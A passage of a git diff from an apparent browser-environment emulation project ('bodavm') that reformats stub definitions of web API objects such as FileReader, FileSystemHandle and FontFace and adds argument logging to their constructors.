bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onloadend", { + configurable: true, + enumerable: true, + get: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_get", arguments); + }, + set: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsArrayBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsArrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsArrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsBinaryString", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsBinaryString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsBinaryString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsDataURL", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsDataURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsDataURL", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "readAsText", { + configurable: true, + enumerable: true, + writable: true, + value: function readAsText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsText", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FileSystemDirectoryHandle.js b/env_xbb_lastest_jsdom/env/FileSystemDirectoryHandle.js index e265d134..18e2fa50 100644 --- a/env_xbb_lastest_jsdom/env/FileSystemDirectoryHandle.js +++ b/env_xbb_lastest_jsdom/env/FileSystemDirectoryHandle.js @@ -1,12 +1,75 @@ -// FileSystemDirectoryHandle对象 -bodavm.memory.globalobj['FileSystemDirectoryHandle'] = function FileSystemDirectoryHandle(){if (!(this instanceof FileSystemDirectoryHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemDirectoryHandle'], "FileSystemDirectoryHandle"); -bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype.__proto__=bodavm.memory.globalobj['FileSystemHandle'].prototype; -bodavm.memory.globalobj['FileSystemDirectoryHandle'].__proto__=bodavm.memory.globalobj['FileSystemHandle']; -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getDirectoryHandle", {configurable:true, enumerable:true, writable:true, value:function getDirectoryHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getDirectoryHandle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getFileHandle", {configurable:true, enumerable:true, writable:true, value:function getFileHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getFileHandle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "removeEntry", {configurable:true, enumerable:true, writable:true, value:function removeEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "removeEntry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "resolve", {configurable:true, enumerable:true, writable:true, value:function resolve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "resolve", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "values", arguments)}},'prototype'); +// FileSystemDirectoryHandle对象 + +bodavm.memory.globalobj['FileSystemDirectoryHandle'] = function FileSystemDirectoryHandle() { + console.log_copy('FileSystemDirectoryHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemDirectoryHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemDirectoryHandle'], "FileSystemDirectoryHandle"); +bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype.__proto__ = bodavm.memory.globalobj['FileSystemHandle'].prototype; +bodavm.memory.globalobj['FileSystemDirectoryHandle'].__proto__ = bodavm.memory.globalobj['FileSystemHandle']; +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getDirectoryHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getDirectoryHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getDirectoryHandle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getFileHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getFileHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getFileHandle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "removeEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function removeEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "removeEntry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "resolve", { + configurable: true, + enumerable: true, + writable: true, + value: function resolve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "resolve", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FileSystemFileHandle.js b/env_xbb_lastest_jsdom/env/FileSystemFileHandle.js index 8b9abe60..2110d2de 100644 --- a/env_xbb_lastest_jsdom/env/FileSystemFileHandle.js +++ b/env_xbb_lastest_jsdom/env/FileSystemFileHandle.js @@ -1,8 +1,43 @@ -// FileSystemFileHandle对象 -bodavm.memory.globalobj['FileSystemFileHandle'] = function FileSystemFileHandle(){if (!(this instanceof FileSystemFileHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemFileHandle'], "FileSystemFileHandle"); -bodavm.memory.globalobj['FileSystemFileHandle'].prototype.__proto__=bodavm.memory.globalobj['FileSystemHandle'].prototype; -bodavm.memory.globalobj['FileSystemFileHandle'].__proto__=bodavm.memory.globalobj['FileSystemHandle']; -bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "createWritable", {configurable:true, enumerable:true, writable:true, value:function createWritable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "createWritable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "getFile", {configurable:true, enumerable:true, writable:true, value:function getFile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "getFile", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "move", {configurable:true, enumerable:true, writable:true, value:function move (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "move", arguments)}},'prototype'); +// FileSystemFileHandle对象 + +bodavm.memory.globalobj['FileSystemFileHandle'] = function FileSystemFileHandle() { + console.log_copy('FileSystemFileHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemFileHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemFileHandle'], "FileSystemFileHandle"); +bodavm.memory.globalobj['FileSystemFileHandle'].prototype.__proto__ = bodavm.memory.globalobj['FileSystemHandle'].prototype; +bodavm.memory.globalobj['FileSystemFileHandle'].__proto__ = bodavm.memory.globalobj['FileSystemHandle']; +bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "createWritable", { + configurable: true, + enumerable: true, + writable: true, + value: function createWritable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "createWritable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "getFile", { + configurable: true, + enumerable: true, + writable: true, + value: function getFile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "getFile", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "move", { + configurable: true, + enumerable: true, + writable: true, + value: function move() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "move", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FileSystemHandle.js b/env_xbb_lastest_jsdom/env/FileSystemHandle.js index 4e3e20d9..5468663f 100644 --- a/env_xbb_lastest_jsdom/env/FileSystemHandle.js +++ b/env_xbb_lastest_jsdom/env/FileSystemHandle.js @@ -1,9 +1,65 @@ -// FileSystemHandle对象 -bodavm.memory.globalobj['FileSystemHandle'] = function FileSystemHandle(){if (!(this instanceof FileSystemHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemHandle'], "FileSystemHandle"); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "isSameEntry", {configurable:true, enumerable:true, writable:true, value:function isSameEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "isSameEntry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "queryPermission", {configurable:true, enumerable:true, writable:true, value:function queryPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "queryPermission", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "requestPermission", {configurable:true, enumerable:true, writable:true, value:function requestPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "requestPermission", arguments)}},'prototype'); +// FileSystemHandle对象 + +bodavm.memory.globalobj['FileSystemHandle'] = function FileSystemHandle() { + console.log_copy('FileSystemHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemHandle'], "FileSystemHandle"); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "isSameEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function isSameEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "isSameEntry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "queryPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function queryPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "queryPermission", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemHandle', "requestPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "requestPermission", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FileSystemWritableFileStream.js b/env_xbb_lastest_jsdom/env/FileSystemWritableFileStream.js index 805caf83..1288f9fd 100644 --- a/env_xbb_lastest_jsdom/env/FileSystemWritableFileStream.js +++ b/env_xbb_lastest_jsdom/env/FileSystemWritableFileStream.js @@ -1,8 +1,43 @@ -// FileSystemWritableFileStream对象 -bodavm.memory.globalobj['FileSystemWritableFileStream'] = function FileSystemWritableFileStream(){if (!(this instanceof FileSystemWritableFileStream)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemWritableFileStream'], "FileSystemWritableFileStream"); -bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype.__proto__=bodavm.memory.globalobj['WritableStream'].prototype; -bodavm.memory.globalobj['FileSystemWritableFileStream'].__proto__=bodavm.memory.globalobj['WritableStream']; -bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "seek", {configurable:true, enumerable:true, writable:true, value:function seek (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "seek", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "truncate", {configurable:true, enumerable:true, writable:true, value:function truncate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "truncate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "write", arguments)}},'prototype'); +// FileSystemWritableFileStream对象 + +bodavm.memory.globalobj['FileSystemWritableFileStream'] = function FileSystemWritableFileStream() { + console.log_copy('FileSystemWritableFileStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileSystemWritableFileStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemWritableFileStream'], "FileSystemWritableFileStream"); +bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype.__proto__ = bodavm.memory.globalobj['WritableStream'].prototype; +bodavm.memory.globalobj['FileSystemWritableFileStream'].__proto__ = bodavm.memory.globalobj['WritableStream']; +bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "seek", { + configurable: true, + enumerable: true, + writable: true, + value: function seek() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "seek", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "truncate", { + configurable: true, + enumerable: true, + writable: true, + value: function truncate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "truncate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "write", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FocusEvent.js b/env_xbb_lastest_jsdom/env/FocusEvent.js index ae1cfa14..356c5068 100644 --- a/env_xbb_lastest_jsdom/env/FocusEvent.js +++ b/env_xbb_lastest_jsdom/env/FocusEvent.js @@ -1,6 +1,27 @@ -// FocusEvent对象 -bodavm.memory.globalobj['FocusEvent'] = function FocusEvent(){if (!(this instanceof FocusEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FocusEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FocusEvent'], "FocusEvent"); -bodavm.memory.globalobj['FocusEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['FocusEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('FocusEvent', "relatedTarget", {configurable:true, enumerable:true, get:function relatedTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FocusEvent'].prototype, "FocusEvent", "relatedTarget_get", arguments)}, set:undefined},'prototype'); +// FocusEvent对象 + +bodavm.memory.globalobj['FocusEvent'] = function FocusEvent() { + console.log_copy('FocusEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FocusEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FocusEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FocusEvent'], "FocusEvent"); +bodavm.memory.globalobj['FocusEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['FocusEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('FocusEvent', "relatedTarget", { + configurable: true, + enumerable: true, + get: function relatedTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FocusEvent'].prototype, "FocusEvent", "relatedTarget_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FontData.js b/env_xbb_lastest_jsdom/env/FontData.js index 10664868..bd5a44e1 100644 --- a/env_xbb_lastest_jsdom/env/FontData.js +++ b/env_xbb_lastest_jsdom/env/FontData.js @@ -1,8 +1,57 @@ -// FontData对象 -bodavm.memory.globalobj['FontData'] = function FontData(){if (!(this instanceof FontData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontData'], "FontData"); -bodavm.toolsFunc.defineProperty('FontData', "postscriptName", {configurable:true, enumerable:true, get:function postscriptName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "postscriptName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "fullName", {configurable:true, enumerable:true, get:function fullName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "fullName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "family", {configurable:true, enumerable:true, get:function family (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "family_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "style_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "blob", {configurable:true, enumerable:true, writable:true, value:function blob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "blob", arguments)}},'prototype'); +// FontData对象 + +bodavm.memory.globalobj['FontData'] = function FontData() { + console.log_copy('FontData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FontData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontData'], "FontData"); +bodavm.toolsFunc.defineProperty('FontData', "postscriptName", { + configurable: true, + enumerable: true, + get: function postscriptName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "postscriptName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "fullName", { + configurable: true, + enumerable: true, + get: function fullName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "fullName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "family", { + configurable: true, + enumerable: true, + get: function family() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "family_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "style_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontData', "blob", { + configurable: true, + enumerable: true, + writable: true, + value: function blob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "blob", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FontFace.js b/env_xbb_lastest_jsdom/env/FontFace.js index 30656e0b..1fe4ac1d 100644 --- a/env_xbb_lastest_jsdom/env/FontFace.js +++ b/env_xbb_lastest_jsdom/env/FontFace.js @@ -1,18 +1,161 @@ -// FontFace对象 -bodavm.memory.globalobj['FontFace'] = function FontFace(){if (!(this instanceof FontFace)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFace': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFace'], "FontFace"); -bodavm.toolsFunc.defineProperty('FontFace', "family", {configurable:true, enumerable:true, get:function family (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_get", arguments)}, set:function family (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "weight", {configurable:true, enumerable:true, get:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_get", arguments)}, set:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "stretch", {configurable:true, enumerable:true, get:function stretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_get", arguments)}, set:function stretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "unicodeRange", {configurable:true, enumerable:true, get:function unicodeRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "unicodeRange_get", arguments)}, set:function unicodeRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, 